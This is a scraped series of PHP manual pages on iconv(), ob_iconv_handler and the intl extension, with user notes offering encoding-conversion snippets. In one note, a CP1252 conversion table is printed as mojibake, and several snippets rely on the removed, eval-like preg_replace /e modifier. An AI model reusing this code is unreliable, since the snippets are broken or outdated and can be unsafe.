For transcoding values in an Excel generated CSV the following seems to work:

<?php
$value = iconv('Windows-1252', 'UTF-8//TRANSLIT', $value);
?>
manuel at kiessling dot net 16-Apr-2009 09:33
Like many other people, I have encountered massive problems when using iconv() to convert between encodings (from UTF-8 to ISO-8859-15 in my case), especially on large strings.

The main problem here is that when your string contains illegal UTF-8 characters, there is no really straight forward way to handle those. iconv() simply (and silently!) terminates the string when encountering the problematic characters (also if using //IGNORE), returning a clipped string. The

<?php

$newstring = html_entity_decode(htmlentities($oldstring, ENT_QUOTES, 'UTF-8'), ENT_QUOTES , 'ISO-8859-15');

?>

workaround suggested here and elsewhere will also break when encountering illegal characters, at least dropping a useful note ("htmlentities(): Invalid multibyte sequence in argument in...")

I have found a lot of hints, suggestions and alternative methods (it's scary and in my opinion no good sign how many ways PHP natively provides to convert the encoding of strings), but none of them really worked, except for this one:

<?php

$newstring = mb_convert_encoding($oldstring, 'ISO-8859-15', 'UTF-8');

?>
wulf dot kaiser at mpimf-heidelberg dot mpg dot de 03-Apr-2009 02:57
Here a very small but useful way to handle text files before further using them:

<?php

$in = file("/tmp/myfile.txt");
$out = fopen("/tmp/myfile.txt", "w");

foreach ($in as $line) {

  fputs($out, iconv("UTF-8","ISO-8859-1", $line));}

?>
kikke 20-Feb-2009 04:50
You can use native iconv in Linux via passthru if all else failed.
Use the -c parameter to suppress error messages.
admin at studio-gepard dot pl 12-Feb-2009 03:20
I noticed that iconv might return not entire string, and no error. It happens when iconv encounters characters it doesn't know how to convert to certain encoding.
Simplest way to check how it works is:
<?php
$text=iconv('utf-8','iso-8859-2',$text);
$text=iconv('utf-8','iso-8859-2',$text);
?>
the result will be $text till first encounter of iso-8859-2 -specific char (such as ą / ź which already was converted to ± / Ľ ). It's quite hard to catch this error and brings a lot of trouble. I got it with converting greek alpha into iso-8859-2 (should be &alpha; but causes the error)
zoe at monkeehouse dot com 13-Nov-2008 02:08
If you have problems using iconv() for the simple conversion of UTF-8 European (extended Latin) characters to their Windows CP1252 equivalents, here's a quick hack that does the job:

// Zoe's iconv() replacement.  See http://en.wikipedia.org/wiki/Windows-1252
function translateUTF8ToWindowsCP1252($string) {
    $utf8 = array(
        '‚Ç¨', // ‚Ç¨
        '‚Äô', // ‚Äô
        '¬£', // ¬£
        '√Ä', // √Ä
        '√Å', // √Å
        '√Ç', // √Ç
        '√É', // √É
        '√Ñ', // √Ñ
        '√Ö', // √Ö
        '√Ü', // √Ü
        '√á', // √á
        '√à', // √à
        '√â', // √â
        '√ä', // √ä
        '√ã', // √ã
        '√å', // √å
        '√ç', // √ç
        '√é', // √é
        '√è', // √è
        '√ê', // √ê
        '√ë', // √ë
        '√í', // √í
        '√ì', // √ì
        '√î', // √î
        '√ï', // √ï
        '√ñ', // √ñ
        '√ó', // √ó
        '√ò', // √ò
        '√ô', // √ô
        '√ö', // √ö
        '√õ', // √õ
        '√ú', // √ú
        '√ù', // √ù
        '√û', // √û
        '√ü', // √ü
        '√†', // √†
        '√°', // √°
        '√¢', // √¢
        '√£', // √£
        '√§', // √§
        '√•', // √•
        '√¶', // √¶
        '√ß', // √ß
        '√®', // √®
        '√©', // √©
        '√™', // √™
        '√´', // √´
        '√¨', // √¨
        '√≠', // √≠
        '√Æ', // √Æ
        '√Ø', // √Ø
        '√∞', // √∞
        '√±', // √±
        '√≤', // √≤
        '√≥', // √≥
        '√¥', // √¥
        '√µ', // √µ
        '√∂', // √∂
        '√∑', // √∑
        '√∏', // √∏
        '√π', // √π
        '√∫', // √∫
        '√ª', // √ª
        '√º', // √º
        '√Ω', // √Ω
        '√æ', // √æ
        '√ø', // √ø
    );

    $cp1252 = array(
        chr(128), // ‚Ç¨
        chr(146), // ‚Äô
        chr(163), // ¬£
        chr(192), // √Ä
        chr(193), // √Å
        chr(194), // √Ç
        chr(195), // √É
        chr(196), // √Ñ
        chr(197), // √Ö
        chr(198), // √Ü
        chr(199), // √á
        chr(200), // √à
        chr(201), // √â
        chr(202), // √ä
        chr(203), // √ã
        chr(204), // √å
        chr(205), // √ç
        chr(206), // √é
        chr(207), // √è
        chr(208), // √ê
        chr(209), // √ë
        chr(210), // √í
        chr(211), // √ì
        chr(212), // √î
        chr(213), // √ï
        chr(214), // √ñ
        chr(215), // √ó
        chr(216), // √ò
        chr(217), // √ô
        chr(218), // √ö
        chr(219), // √õ
        chr(220), // √ú
        chr(221), // √ù
        chr(222), // √û
        chr(223), // √ü
        chr(224), // √†
        chr(225), // √°
        chr(226), // √¢
        chr(227), // √£
        chr(228), // √§
        chr(229), // √•
        chr(230), // √¶
        chr(231), // √ß
        chr(232), // √®
        chr(233), // √©
        chr(234), // √™
        chr(235), // √´
        chr(236), // √¨
        chr(237), // √≠
        chr(238), // √Æ
        chr(239), // √Ø
        chr(240), // √∞
        chr(241), // √±
        chr(242), // √≤
        chr(243), // √≥
        chr(244), // √¥
        chr(245), // √µ
        chr(246), // √∂
        chr(247), // √∑
        chr(248), // √∏
        chr(249), // √π
        chr(250), // √∫
        chr(251), // √ª
        chr(252), // √º
        chr(253), // √Ω
        chr(254), // √æ
        chr(255), // √ø
    );

    return str_replace($utf8, $cp1252, $string);
}
ToS 09-Nov-2008 06:35
I used to have problems with Latin characters in UTF-8 while exporting text to PEAR xls writer.
This little conmbination solved my problem, you might want to try something like that:

<?php
function convert_locale_for_xls ($text) {
  $return = iconv('UTF-8', 'cp1250', $text);
  return preg_replace("/([\xC2\xC4])([\x80-\xBF])/e",  "chr(ord('\\1')<<6&0xC0|ord('\\2')&0x3F)", $return);
}
?>
Leigh Morresi 01-Oct-2008 11:10
If you are getting question-marks in your iconv output when transliterating, be sure to 'setlocale' to something your system supports.

Some PHP CMS's will default setlocale to 'C', this can be a problem.

use the "locale" command to find out a list..

$ locale -a
C
en_AU.utf8
POSIX

<?php
  setlocale(LC_CTYPE, 'en_AU.utf8');
  $str = iconv('UTF-8', 'ASCII//TRANSLIT', "Côte d'Ivoire");
?>
mirek at burkon dot org 16-May-2008 03:17
If you need to strip as many national characters from UTF-8 as possible and keep the rest of input unchanged (i.e. convert whatever can be converted to ASCII and leave the rest), you can do it like this:

<?php
setlocale(LC_ALL, 'en_US.UTF8');

function clearUTF($s)
{
    $r = '';
    $s1 = iconv('UTF-8', 'ASCII//TRANSLIT', $s);
    for ($i = 0; $i < strlen($s1); $i++)
    {
        $ch1 = $s1[$i];
        $ch2 = mb_substr($s, $i, 1);

        $r .= $ch1=='?'?$ch2:$ch1;
    }
    return $r;
}

echo clearUTF('Šíleně žluťoučký Vašek úpěl olol! This will remain untranslated: ᾡᾧῘઍિ૮');
//outputs Silene zlutoucky Vasek upel olol! This will remain untranslated: ᾡᾧῘઍિ૮
?>

Just remember you HAVE TO set locale to some unicode encoding to make iconv handle //TRANSLIT correctly!
berserk220 at mail dot ru 29-Feb-2008 06:44
So, as iconv() does not always work correctly, in most cases, much easier to use htmlentities().
Example: <?php $content=htmlentities(file_get_contents("incoming.txt"), ENT_QUOTES, "Windows-1252");  file_put_contents("outbound.txt", html_entity_decode($content, ENT_QUOTES , "utf-8")); ?>
anton dot vakulchik at gmail dot com 02-Feb-2008 10:40
function detectUTF8($string)
{
        return preg_match('%(?:
        [\xC2-\xDF][\x80-\xBF]        # non-overlong 2-byte
        |\xE0[\xA0-\xBF][\x80-\xBF]               # excluding overlongs
        |[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}      # straight 3-byte
        |\xED[\x80-\x9F][\x80-\xBF]               # excluding surrogates
        |\xF0[\x90-\xBF][\x80-\xBF]{2}    # planes 1-3
        |[\xF1-\xF3][\x80-\xBF]{3}                  # planes 4-15
        |\xF4[\x80-\x8F][\x80-\xBF]{2}    # plane 16
        )+%xs', $string);
}

function cp1251_utf8( $sInput )
{
    $sOutput = "";

    for ( $i = 0; $i < strlen( $sInput ); $i++ )
    {
        $iAscii = ord( $sInput[$i] );

        if ( $iAscii >= 192 && $iAscii <= 255 )
            $sOutput .=  "&#".( 1040 + ( $iAscii - 192 ) ).";";
        else if ( $iAscii == 168 )
            $sOutput .= "&#".( 1025 ).";";
        else if ( $iAscii == 184 )
            $sOutput .= "&#".( 1105 ).";";
        else
            $sOutput .= $sInput[$i];
    }

    return $sOutput;
}

function encoding($string){
    if (function_exists('iconv')) {
        if (@!iconv('utf-8', 'cp1251', $string)) {
            $string = iconv('cp1251', 'utf-8', $string);
        }
        return $string;
    } else {
        if (detectUTF8($string)) {
            return $string;
        } else {
            return cp1251_utf8($string);
        }
    }
}
echo encoding($string);
mightye at gmail dot com 05-Nov-2007 05:01
To strip bogus characters from your input (such as data from an unsanitized or other source which you can't trust to necessarily give you strings encoded according to their advertised encoding set), use the same character set as both the input and the output, with //IGNORE on the output charcter set.
<?php
// assuming '†' is actually UTF8, htmlentities will assume it's iso-8859
// since we did not specify in the 3rd argument of htmlentities.
// This generates "&acirc;[bad utf-8 character]"
// If passed to any libxml, it will generate a fatal error.
$badUTF8 = htmlentities('†');

// iconv() can ignore characters which cannot be encoded in the target character set
$goodUTF8 = iconv("utf-8", "utf-8//IGNORE", $badUTF8);
?>
The result of the example does not give you back the dagger character which was the original input (it got lost when htmlentities was misused to encode it incorrectly, though this is common from people not accustomed to dealing with extended character sets), but it does at least give you data which is sane in your target character set.
gree:.. (gree 4T grees D0T net) 24-Aug-2007 02:19
In my case, I had to change:
<?php
setlocale(LC_CTYPE, 'cs_CZ');
?>
to
<?php
setlocale(LC_CTYPE, 'cs_CZ.UTF-8');
?>
Otherwise it returns question marks.

When I asked my linux for locale (by locale command) it returns "cs_CZ.UTF-8", so there is maybe correlation between it.

iconv (GNU libc) 2.6.1
glibc 2.3.6
dead dot screamer at seznam dot cz 14-Jun-2007 09:08
Ritchie's example

<?
setlocale(LC_CTYPE, 'cs_CZ');
echo iconv('UTF-8', 'ASCII//TRANSLIT', "Žluťoučký kůň\n");
?>

dasn't output `Zlutoucky kun`, but `Zlutouck'y kun`
Ritchie 24-Mar-2007 04:11
Please note that iconv('UTF-8', 'ASCII//TRANSLIT', ...) doesn't work properly when locale category LC_CTYPE is set to C or POSIX. You must choose another locale otherwise all non-ASCII characters will be replaced with question marks. This is at least true with glibc 2.5.

Example:
<?php
setlocale(LC_CTYPE, 'POSIX');
echo iconv('UTF-8', 'ASCII//TRANSLIT', "Žluťoučký kůň\n");
// ?lu?ou?k? k??

setlocale(LC_CTYPE, 'cs_CZ');
echo iconv('UTF-8', 'ASCII//TRANSLIT', "Žluťoučký kůň\n");
// Zlutoucky kun
?>
Georgios Papadakis 08-Mar-2007 12:28
Many mail servers don't handle utf-8 correctly as they assume iso-8859-x encodings, so you would want to convert the headers, subject and body of an email prior to sending it out.

If iconv() and mb_convert_encoding() are missing the following function can be used to convert UTF8 to iso-8859-7 encoding. It discards all characters that are not 2-byte greek characters or single-byte (ascii).

<?php
function conv_utf8_iso8859_7($s) {
    $len = strlen($s);
    $out = "";
    $curr_char = "";
    for($i=0; $i < $len; $i++) {
        $curr_char .= $s[$i];
        if( ( ord($s[$i]) & (128+64) ) == 128) {
            //character end found
            if ( strlen($curr_char) == 2) {
                // 2-byte character check for it is greek one and convert
                if      (ord($curr_char[0])==205) $out .= chr( ord($curr_char[1])+16 );
                else if (ord($curr_char[0])==206) $out .= chr( ord($curr_char[1])+48 );
                else if (ord($curr_char[0])==207) $out .= chr( ord($curr_char[1])+112 );
                else ; // non greek 2-byte character, discard character
            } else ;// n-byte character, n>2, discard character
            $curr_char = "";
        } else if (ord($s[$i]) < 128) {
            // character is one byte (ascii)
            $out .= $curr_char;
            $curr_char = "";
        }
    }
    return $out;
}
?>
Locoluis 15-Nov-2006 12:36
The following are Microsoft encodings that are based on ISO-8859 but with the addition of those stupid control characters.

CP1250 is Eastern European (not ISO-8859-2)
CP1251 is Cyrillic (not ISO-8859-5)
CP1252 is Western European (not ISO-8859-1)
CP1253 is Greek (not ISO-8859-7)
CP1254 is Turkish (not ISO-8859-9)
CP1255 is Hebrew (not ISO-8859-8)
CP1256 is Arabic (not ISO-8859-6)
CP1257 is Baltic (not ISO-8859-4)

If you know you're getting input from a Windows machine with those encodings, use one of these as a parameter to iconv.
sire at acc dot umu dot se 14-Dec-2005 01:17
If you get this error message: "Notice: iconv(): Detected an illegal character in input string in file.php on line x", and your text or database is likely to contain text copied from Microsoft Word documents, it's very likely that the error is because of the evil 0x96 "long dash" character. MS Word as default converts all double hyphens into this illegal character. The solution is either to convert 0x96 (dash) into the regular 0x2d (hyphen/minus), or to append the //TRANSLIT or //IGNORE parameters (se above).
nilcolor at gmail dot coom 24-Nov-2005 03:29
Didn't know its a feature or not but its works for me (PHP 5.0.4)

iconv('', 'UTF-8', $str)

test it to convert from windows-1251 (stored in DB) to UTF-8 (which i use for web pages).
BTW i convert each array i fetch from DB with array_walk_recursive...
anyean at gmail dot com 30-May-2005 03:23
<?php
//script from http://zizi.kxup.com/
//javascript unesape
function unescape($str) {
  $str = rawurldecode($str);
  preg_match_all("/(?:%u.{4})|&#x.{4};|&#\d+;|.+/U",$str,$r);
  $ar = $r[0];
print_r($ar);
  foreach($ar as $k=>$v) {
    if(substr($v,0,2) == "%u")
      $ar[$k] = iconv("UCS-2","UTF-8",pack("H4",substr($v,-4)));
    elseif(substr($v,0,3) == "&#x")
      $ar[$k] = iconv("UCS-2","UTF-8",pack("H4",substr($v,3,-1)));
    elseif(substr($v,0,2) == "&#") {
echo substr($v,2,-1)."<br>";
      $ar[$k] = iconv("UCS-2","UTF-8",pack("n",substr($v,2,-1)));
    }
  }
  return join("",$ar);
}
?>
zhawari at hotmail dot com 01-Feb-2005 03:27
Here is how to convert UTF-8 numbers to UCS-2 numbers in hex:

<?php

function utf8toucs2($str)
{
       for ($i=0;$i<strlen($str);$i+=2)
       {
                $substring1 = $str[$i].$str[$i+1];
                $substring2 = $str[$i+2].$str[$i+3];

                if (hexdec($substring1) < 127)
                        $results = "00".$str[$i].$str[$i+1];
                else
                {
                        $results = dechex((hexdec($substring1)-192)*64 + (hexdec($substring2)-128));
                        if ($results < 1000) $results = "0".$results;
                        $i+=2;
                }
                $ucs2 .= $results;
        }
        return $ucs2;
}

echo strtoupper(utf8toucs2("D985D8B1D8AD"))."\n";
echo strtoupper(utf8toucs2("456725"))."\n";

?>

Input:
D985D8B1D8AD
Output:
06450631062D

Input:
456725
Output:
004500670025
PHANTOm <phantom at nix dot co dot il> 27-Jan-2005 12:49
convert windows-1255 to utf-8 with the following code
<?php
$heb = 'put hebrew text here';
$utf = preg_replace("/([\xE0-\xFA])/e","chr(215).chr(ord(\${1})-80)",$heb);
?>
zhawari at hotmail dot com 18-Jan-2005 03:02
Here is how to convert UCS-2 numbers to UTF-8 numbers in hex:

<?php
function ucs2toutf8($str)
{
        for ($i=0;$i<strlen($str);$i+=4)
        {
                $substring1 = $str[$i].$str[$i+1];
                $substring2 = $str[$i+2].$str[$i+3];

                if ($substring1 == "00")
                {
                        $byte1 = "";
                        $byte2 = $substring2;
                }
                else
                {
                        $substring = $substring1.$substring2;
                        $byte1 = dechex(192+(hexdec($substring)/64));
                        $byte2 = dechex(128+(hexdec($substring)%64));
                }
                $utf8 .= $byte1.$byte2;
        }
        return $utf8;
}

echo strtoupper(ucs2toutf8("06450631062D0020"));

?>

Input:
06450631062D
Output:
D985D8B1D8AD

regards,
Ziyad
SiMM 10-Dec-2004 11:15
<?php // it's only example
function CP1251toUTF8($string){
  $out = '';
  for ($i = 0; $i<strlen($string); ++$i){
    $ch = ord($string{$i});
    if ($ch < 0x80) $out .= chr($ch);
    else
      if ($ch >= 0xC0)
        if ($ch < 0xF0)
             $out .= "\xD0".chr(0x90 + $ch - 0xC0); // &#1040;-&#1071;, &#1072;-&#1087; (A-YA, a-p)
        else $out .= "\xD1".chr(0x80 + $ch - 0xF0); // &#1088;-&#1103; (r-ya)
      else
        switch($ch){
          case 0xA8: $out .= "\xD0\x81"; break; // YO
          case 0xB8: $out .= "\xD1\x91"; break; // yo
          // ukrainian
          case 0xA1: $out .= "\xD0\x8E"; break; // &#1038; (U)
          case 0xA2: $out .= "\xD1\x9E"; break; // &#1118; (u)
          case 0xAA: $out .= "\xD0\x84"; break; // &#1028; (e)
          case 0xAF: $out .= "\xD0\x87"; break; // &#1031; (I..)
          case 0xB2: $out .= "\xD0\x86"; break; // I (I)
          case 0xB3: $out .= "\xD1\x96"; break; // i (i)
          case 0xBA: $out .= "\xD1\x94"; break; // &#1108; (e)
          case 0xBF: $out .= "\xD1\x97"; break; // &#1111; (i..)
          // chuvashian
          case 0x8C: $out .= "\xD3\x90"; break; // &#1232; (A)
          case 0x8D: $out .= "\xD3\x96"; break; // &#1238; (E)
          case 0x8E: $out .= "\xD2\xAA"; break; // &#1194; (SCH)
          case 0x8F: $out .= "\xD3\xB2"; break; // &#1266; (U)
          case 0x9C: $out .= "\xD3\x91"; break; // &#1233; (a)
          case 0x9D: $out .= "\xD3\x97"; break; // &#1239; (e)
          case 0x9E: $out .= "\xD2\xAB"; break; // &#1195; (sch)
          case 0x9F: $out .= "\xD3\xB3"; break; // &#1267; (u)
        }
  }
  return $out;
}
?>
aissam at yahoo dot com 29-Nov-2004 08:20
For those who have troubles in displaying UCS-2 data on browser, here's a simple function that convert ucs2 to html unicode entities :

<?php

 function ucs2html($str) {
    $str=trim($str); // if you are reading from file
    $len=strlen($str);
    $html='';
    for($i=0;$i<$len;$i+=2)
        $html.='&#'.hexdec(dechex(ord($str[$i+1])).
                   sprintf("%02s",dechex(ord($str[$i])))).';';
    return($html);
 }
?>
nikolai-dot-zujev-at-gmail-dot-com 18-Nov-2004 01:14
Here is an example how to convert windows-1251 (windows) or cp1251(Linux/Unix) encoded string to UTF-8 encoding.

<?php
function cp1251_utf8( $sInput )
{
    $sOutput = "";

    for ( $i = 0; $i < strlen( $sInput ); $i++ )
    {
        $iAscii = ord( $sInput[$i] );

        if ( $iAscii >= 192 && $iAscii <= 255 )
            $sOutput .=  "&#".( 1040 + ( $iAscii - 192 ) ).";";
        else if ( $iAscii == 168 )
            $sOutput .= "&#".( 1025 ).";";
        else if ( $iAscii == 184 )
            $sOutput .= "&#".( 1105 ).";";
        else
            $sOutput .= $sInput[$i];
    }

    return $sOutput;
}
?>
vitek at 4rome dot ru 15-Nov-2004 11:53
On some systems there may be no such function as iconv(); this is due to the following reason: a constant is defined named `iconv` with the value `libiconv`. So, the string PHP_FUNCTION(iconv) transforms to PHP_FUNCTION(libiconv), and you have to call libiconv() function instead of iconv().
I had seen this on FreeBSD, but I am sure that was a rather special build.
If you'd want not to be dependent on this behaviour, add the following to your script:
<?php
if (!function_exists('iconv') && function_exists('libiconv')) {
    function iconv($input_encoding, $output_encoding, $string) {
        return libiconv($input_encoding, $output_encoding, $string);
    }
}
?>
Thanks to tony2001 at phpclub.net for explaining this behaviour.
ng4rrjanbiah at rediffmail dot com 22-Jun-2004 08:10
Here is a code to convert ISO 8859-1 to UTF-8 and vice versa without using iconv.

<?php
//Logic from http://twiki.org/cgi-bin/view/Codev/InternationalisationUTF8
$str_iso8859_1 = 'foo in ISO 8859-1';
//ISO 8859-1 to UTF-8
$str_utf8 = preg_replace("/([\x80-\xFF])/e",
            "chr(0xC0|ord('\\1')>>6).chr(0x80|ord('\\1')&0x3F)",
             $str_iso8859_1);
//UTF-8 to ISO 8859-1
$str_iso8859_1 = preg_replace("/([\xC2\xC3])([\x80-\xBF])/e",
                "chr(ord('\\1')<<6&0xC0|ord('\\2')&0x3F)",
                 $str_utf8);
?>

HTH,
R. Rajesh Jeba Anbiah
iconv_substr
ob_iconv_handler
iconv Functions


Convert character encoding as output buffer handler

iconv
intl
iconv Functions
PHP Manual

ob_iconv_handler

(PHP 4 >= 4.0.5, PHP 5)

ob_iconv_handler — Convert character encoding as output buffer handler

Description

string ob_iconv_handler ( string $contents , int $status )

Converts the string encoded in internal_encoding to output_encoding.

internal_encoding and output_encoding should be defined in the php.ini file or in iconv_set_encoding().

Parameters

See ob_start() for information about this handler parameters.

Return Values

See ob_start() for information about this handler return values.

Examples

Example #1 ob_iconv_handler() example:

<?php
iconv_set_encoding("internal_encoding", "UTF-8");
iconv_set_encoding("output_encoding", "ISO-8859-1");
ob_start("ob_iconv_handler"); // start output buffering
?>

See Also

  • iconv_get_encoding() - Retrieve internal configuration variables of iconv extension
  • iconv_set_encoding() - Set current setting for character encoding conversion
  • output-control functions

User Contributed Notes

st33mann at gmx dot n3t 04-Oct-2005 11:43
Just a quick note that may be helpful for some:
It seems to me that this function also modifies the HTTP Content-Type header that's sent to the client (at least in combination with the iconv_set_encoding() function).

If you specify an encoding ending with "//TRANSLIT" or "//IGNORE" (valid in iconv), it will still send the encoding name in the HTTP header. This makes it an invalid character set unfortunately.

For example:
<?php
iconv_set_encoding("internal_encoding","UTF-8");
iconv_set_encoding("output_encoding","ISO-8859-1//TRANSLIT");
ob_start("ob_iconv_handler");
?>
will send a Content-Type header of "ISO-8859-1//TRANSLIT".
iconv
intl
iconv Functions


Internationalization Functions

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage of this extension
  • Collator — The Collator class
    • Collator::asort — Sort array maintaining index association
    • Collator::compare — Compare two Unicode strings
    • Collator::__construct — Create a collator
    • Collator::create — Create a collator
    • Collator::getAttribute — Get collation attribute value
    • Collator::getErrorCode — Get collator's last error code
    • Collator::getErrorMessage — Get text for collator's last error code
    • Collator::getLocale — Get the locale name of the collator
    • Collator::getSortKey — Get sorting key for a string
    • Collator::getStrength — Get current collation strength
    • Collator::setAttribute — Set collation attribute
    • Collator::setStrength — Set collation strength
    • Collator::sortWithSortKeys — Sort array using specified collator and sort keys
    • Collator::sort — Sort array using specified collator
  • NumberFormatter — The NumberFormatter class
    • NumberFormatter::create — Create a number formatter
    • NumberFormatter::formatCurrency — Format a currency value
    • NumberFormatter::format — Format a number
    • NumberFormatter::getAttribute — Get an attribute
    • NumberFormatter::getErrorCode — Get formatter's last error code.
    • NumberFormatter::getErrorMessage — Get formatter's last error message.
    • NumberFormatter::getLocale — Get formatter locale
    • NumberFormatter::getPattern — Get formatter pattern
    • NumberFormatter::getSymbol — Get a symbol value
    • NumberFormatter::getTextAttribute — Get a text attribute
    • NumberFormatter::parseCurrency — Parse a currency number
    • NumberFormatter::parse — Parse a number
    • NumberFormatter::setAttribute — Set an attribute
    • NumberFormatter::setPattern — Set formatter pattern
    • NumberFormatter::setSymbol — Set a symbol value
    • NumberFormatter::setTextAttribute — Set a text attribute
  • Locale — The Locale class
    • Locale::acceptFromHttp — Tries to find out best available locale based on HTTP "Accept-Language" header
    • Locale::composeLocale — Returns a correctly ordered and delimited locale ID
    • Locale::filterMatches — Checks if a language tag filter matches with locale
    • Locale::getAllVariants — Gets the variants for the input locale
    • Locale::getDefault — Gets the default locale value from the INTL global 'default_locale'
    • Locale::getDisplayLanguage — Returns an appropriately localized display name for language of the inputlocale
    • Locale::getDisplayName — Returns an appropriately localized display name for the input locale
    • Locale::getDisplayRegion — Returns an appropriately localized display name for region of the input locale
    • Locale::getDisplayScript — Returns an appropriately localized display name for script of the input locale
    • Locale::getDisplayVariant — Returns an appropriately localized display name for variants of the input locale
    • Locale::getKeywords — Gets the keywords for the input locale
    • Locale::getPrimaryLanguage — Gets the primary language for the input locale
    • Locale::getRegion — Gets the region for the input locale
    • Locale::getScript — Gets the script for the input locale
    • Locale::lookup — Searches the language tag list for the best match to the language
    • Locale::parseLocale — Returns a key-value array of locale ID subtag elements.
    • Locale::setDefault — sets the default runtime locale
  • Normalizer — The Normalizer class
    • Normalizer::isNormalized — Checks if the provided string is already in the specified normalization form.
    • Normalizer::normalize — Normalizes the input provided and returns the normalized string
  • MessageFormatter — The MessageFormatter class
    • MessageFormatter::create — Constructs a new Message Formatter
    • MessageFormatter::formatMessage — Quick format message
    • MessageFormatter::format — Format the message
    • MessageFormatter::getErrorCode — Get the error code from last operation
    • MessageFormatter::getErrorMessage — Get the error text from the last operation
    • MessageFormatter::getLocale — Get the locale for which the formatter was created.
    • MessageFormatter::getPattern — Get the pattern used by the formatter
    • MessageFormatter::parseMessage — Quick parse input string
    • MessageFormatter::parse — Parse input string according to pattern
    • MessageFormatter::setPattern — Set the pattern used by the formatter
  • IntlDateFormatter — The IntlDateFormatter class
    • IntlDateFormatter::create — Create a date formatter
    • IntlDateFormatter::format — Format the date/time value as a string
    • IntlDateFormatter::getCalendar — Get the calendar used for the IntlDateFormatter
    • IntlDateFormatter::getDateType — Get the datetype used for the IntlDateFormatter
    • IntlDateFormatter::getErrorCode — Get the error code from last operation
    • IntlDateFormatter::getErrorMessage — Get the error text from the last operation.
    • IntlDateFormatter::getLocale — Get the locale used by formatter
    • IntlDateFormatter::getPattern — Get the pattern used for the IntlDateFormatter
    • IntlDateFormatter::getTimeType — Get the timetype used for the IntlDateFormatter
    • IntlDateFormatter::getTimeZoneId — Get the timezone-id used for the IntlDateFormatter
    • IntlDateFormatter::isLenient — Get the lenient used for the IntlDateFormatter
    • IntlDateFormatter::localtime — Parse string to a field-based time value
    • IntlDateFormatter::parse — Parse string to a timestamp value
    • IntlDateFormatter::setCalendar — sets the calendar used to the appropriate calendar, which must be
    • IntlDateFormatter::setLenient — Set the leniency of the parser
    • IntlDateFormatter::setPattern — Set the pattern used for the IntlDateFormatter
    • IntlDateFormatter::setTimeZoneId — Sets the time zone to use
  • ResourceBundle — The ResourceBundle class
    • ResourceBundle::count — Get number of elements in the bundle
    • ResourceBundle::create — Create a resource bundle
    • ResourceBundle::getErrorCode — Get bundle's last error code.
    • ResourceBundle::getErrorMessage — Get bundle's last error message.
    • ResourceBundle::get — Get data from the bundle
    • ResourceBundle::getLocales — Get supported locales
  • Spoofchecker — The Spoofchecker class
    • Spoofchecker::areConfusable — Checks if a given text contains any confusable characters
    • Spoofchecker::__construct — Constructor
    • Spoofchecker::isSuspicious — Checks if a given text contains any suspicious characters
    • Spoofchecker::setAllowedLocales — Locales to use when running checks
    • Spoofchecker::setChecks — Set the checks to run
  • Transliterator — The Transliterator class
    • Transliterator::__construct — Construct a Transliterator object
    • Transliterator::create — Create a transliterator
    • Transliterator::createFromRules — Create transliterator from rules
    • Transliterator::createInverse — Create an inverse transliterator
    • Transliterator::getErrorCode — Get last error code
    • Transliterator::getErrorMessage — Get last error message
    • Transliterator::listIDs — Get transliterator IDs
    • Transliterator::transliterate — Transliterate a string
  • Grapheme Functions
    • grapheme_extract — Function to extract a sequence of default grapheme clusters from a text buffer, which must be encoded in UTF-8.
    • grapheme_stripos — Find position (in grapheme units) of first occurrence of a case-insensitive string
    • grapheme_stristr — Returns part of haystack string from the first occurrence of case-insensitive needle to the end of haystack.
    • grapheme_strlen — Get string length in grapheme units
    • grapheme_strpos — Find position (in grapheme units) of first occurrence of a string
    • grapheme_strripos — Find position (in grapheme units) of last occurrence of a case-insensitive string
    • grapheme_strrpos — Find position (in grapheme units) of last occurrence of a string
    • grapheme_strstr — Returns part of haystack string from the first occurrence of needle to the end of haystack.
    • grapheme_substr — Return part of a string
  • IDN Functions
    • idn_to_ascii — Convert domain name to IDNA ASCII form.
    • idn_to_unicode — Alias of idn_to_utf8
    • idn_to_utf8 — Convert domain name from IDNA ASCII to Unicode.
  • intl Functions
    • intl_error_name — Get symbolic name for a given error code
    • intl_get_error_code — Get the last error code
    • intl_get_error_message — Get description of the last error
    • intl_is_failure — Check whether the given error code indicates failure

User Contributed Notes

There are no user contributed notes for this page.
ob_iconv_handler
Introduction
Human Language and Character Encoding Support


Introduction

Internationalization extension (further is referred as Intl) is a wrapper for » ICU library, enabling PHP programmers to perform » UCA-conformant collation and date/time/number/currency formatting in their scripts.

It tends to closely follow ICU APIs, so that people having experience working with ICU in either C/C++ or Java could easily use the PHP API. Also, this way ICU documentation would be useful to understand various ICU functions.

Intl consists of several modules, each of them exposes the corresponding ICU API:

  • Collator: provides string comparison capability with support for appropriate locale-sensitive sort orderings.
  • Number Formatter: allows to display number according to the localized format or given pattern or set of rules, and to parse strings into numbers.
  • Message Formatter: allows to create messages incorporating data (such as numbers or dates) formatted according to given pattern and locale rules, and parse messages extracting data from them.
  • Normalizer: provides a function to transform text into one of the Unicode normalization forms, and provides a routine to test if a given string is already normalized.
  • Locale: provides interaction with locale identifiers in the form of functions to get subtags from locale identifier; parse, compose, match(lookup and filter) locale identifiers.

Links

  • » Miscellaneous ICU docs

  • » ICU User Guide

  • » Unicode Collation Algorithm

User Contributed Notes

There are no user contributed notes for this page.
intl
Installing/Configuring
intl


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

dtrebbien at gmail dot com 12-Dec-2010 10:42
Debian Squeeze users can install the intl extension with:

sudo apt-get install php5-intl
hans 13-Jul-2010 04:52
2 Thinks what helped me.

1. test if it works with on command line "php -i | grep intl"
if it's not correctly installed and doesn't work it will show nothing.
2. I created the file /etc/php5/conf.d/intl.ini and only put the line extension=intl.so in that file (restart apache and done)
dtrebbien at gmail dot com 25-Oct-2009 03:07
To install the intl extension on a Debian Lenny system, the following commands (as `root`) worked perfectly for me:
apt-get install php-pear php5-dev dh-make-php fakeroot libicu38 libicu-dev xsltproc
pear channel-update pear.php.net
pear upgrade PEAR
pecl channel-update pecl.php.net
pear install intl

Probably the first line can be replaced with just:
apt-get install php-pear php5-dev libicu38 libicu-dev

But, you may need some of the other packages.
s dot marechal at jejik dot com 25-Jul-2008 12:10
I have written a simple tutorial on how you can install the intl extension for PHP5 on Debian Lenny. It probably also works on anything derived from it, such as the recent Ubuntus or Linux Mint. You can find it at:

http://www.jejik.com/articles/2008/07/howto_build_and_install_the_intl_pecl_extension_for_php5_in_debian/

(This URL should be on one line of course)
Introduction
Requirements
